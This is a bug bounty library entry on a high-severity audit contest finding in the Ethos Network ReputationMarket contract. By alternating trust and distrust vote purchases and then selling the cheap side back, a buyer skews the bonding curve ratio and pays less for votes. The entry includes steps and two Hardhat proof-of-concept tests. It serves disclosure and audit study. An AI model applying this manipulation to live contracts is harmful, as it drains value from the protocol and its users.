# Bonding curve logic can be exploited to pay less for buying votes

Ethos ReputationMarket bonding curve lets a buyer alternate trust/distrust vote purchases to skew the ratio and pay ~20-28% less for votes.

- Payout: Audit contest
- Severity: high
- Program: Ethos Network
- Found by: Al-Qa-qa
- Disclosed: 2024-11-20
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2024-11-ethos-network-ii-judging/issues/167
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-11-ethos-network-ii%3AH-1
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:chained technique:source-review vuln:business-logic vuln:oracle-manipulation

**Target:** ReputationMarket.sol _calcVotePrice bonding curve
**Root cause:** _calcVotePrice computes price = votes[side]*basePrice/totalVotes, so buying the cheaper side first pushes the ratio toward 1:1 and lowers the price of the desired side; the cheap side can then be sold back.
**Steps:**
1. Deploy market with basePrice 0.01 ETH, initial 1 trust / 1 distrust vote
2. Loop 12x: `buyVotes(isPositive=true, buyAmount=(tV*bP)/(tV+dV), expectedVotes=1)` then `buyVotes(isPositive=false, buyAmount=(dV*bP)/(tV+dV), expectedVotes=1)`
3. After 12 trust votes acquired, call `sellVotes(profileId, false, distrustVotes)` to dump the cheap side
4. Net cost 0.0794 ETH vs 0.0984 ETH normal for same 12 trust votes
5. Variant: with 99 trust votes held by another user, buy 99 distrust first, then 100 trust, then sell distrust: 0.7116 ETH vs 0.9935 ETH
**How found:** Code review of the bonding curve formula: noticed price depends only on current vote ratio, so interleaving buys of the opposite side changes the ratio mid-purchase; validated with two Hardhat PoCs comparing normal vs manipulated cost.
**Exploitation:** Attacker with capital buys the lower-priced vote side to equalize the ratio, then buys the target side at a reduced price, then sells the cheap side back, netting a discount on vote acquisition; repeatable per market.
**Insight:** When a pricing formula is a function of current pool ratio, check whether an attacker can trade the opposite side to move the ratio before the main trade and unwind afterward — the round-trip cost may be less than the discount gained.

## Proof of concept (copied exactly from the original report)

**PoC1 malicious alternating buy/sell test**

```
const bP = ethers.parseEther('0.01');
        let tV = 1n;
        let dV = 1n;
        let aliceInvestment;
        for(let i = 0; i < 12; i++) {
            // Alice buys trust votes
            aliceInvestment = (tV * bP) / (tV + dV);
            await alice.buyVotes({
                isPositive: true, // trust votes
                buyAmount: aliceInvestment,
                expectedVotes: 1n,  // We know this from simulation
                slippageBasisPoints: 0  // 0% slippage allowed
            });
            expect((await alice.getVotes()).trustVotes).to.equal(tV);
            tV++;

            if (i == 11) continue; // no need to manipulate further, 12 trust votes have been bought
            // Alice buys distrust votes
            aliceInvestment = (dV * bP) / (tV + dV);
            await alice.buyVotes({
                isPositive: false, // distrust votes
                buyAmount: aliceInvestment,
                expectedVotes: 1n,  
                slippageBasisPoints: 0
            });
            expect((await alice.getVotes()).distrustVotes).to.equal(dV);
            dV++;
        }

        // Verify Alice's position
        const alicePosition = await alice.getVotes();
        console.log("\n\n");
        console.log("votes position (TRUST)    =", alicePosition.trustVotes);
        
        // Alice sells all her distrust votes
        await reputationMarket
            .connect(alice.signer)
            .sellVotes(DEFAULT.profileId, false, alicePosition.distrustVotes);
        expect((await alice.getVotes()).distrustVotes).to.equal(0);

        // Record Alice's balance now
        const aliceBalanceAfter = await ethosUserA.getBalance();

        // Log the total cost to Alice
        console.log('Cost2:', ethers.formatEther(aliceBalanceBefore - aliceBalanceAfter), 'ETH');
```

**PoC2 buy distrust then trust then sell**

```
// Alice first buys 99 distrust votes
        await alice.buyVotes({
            isPositive: false, // distrust votes
            buyAmount: ethers.parseEther('0.305'),
            expectedVotes: 99n,  
            slippageBasisPoints: 0  // 0% slippage allowed
        });
        expect((await alice.getVotes()).distrustVotes).to.equal(99);
        
        // Alice then buys 100 trust votes
        await alice.buyVotes({
            isPositive: true, // trust votes
            buyAmount: ethers.parseEther('0.595'),
            expectedVotes: 100n,  
            slippageBasisPoints: 0  // 0% slippage allowed
        });
        expect((await alice.getVotes()).trustVotes).to.equal(100);

        // Alice sells all her distrust votes
        await reputationMarket
            .connect(alice.signer)
            .sellVotes(DEFAULT.profileId, false, (await alice.getVotes()).distrustVotes);
        expect((await alice.getVotes()).distrustVotes).to.equal(0);

        expect((await alice.getVotes()).trustVotes).to.equal(100);

        // Record Alice's balance now
        const aliceBalanceAfter = await ethosUserA.getBalance();

        // Log the total cost to Alice
        console.log('\n\nCost_2:', ethers.formatEther(aliceBalanceBefore - aliceBalanceAfter), 'ETH');
```

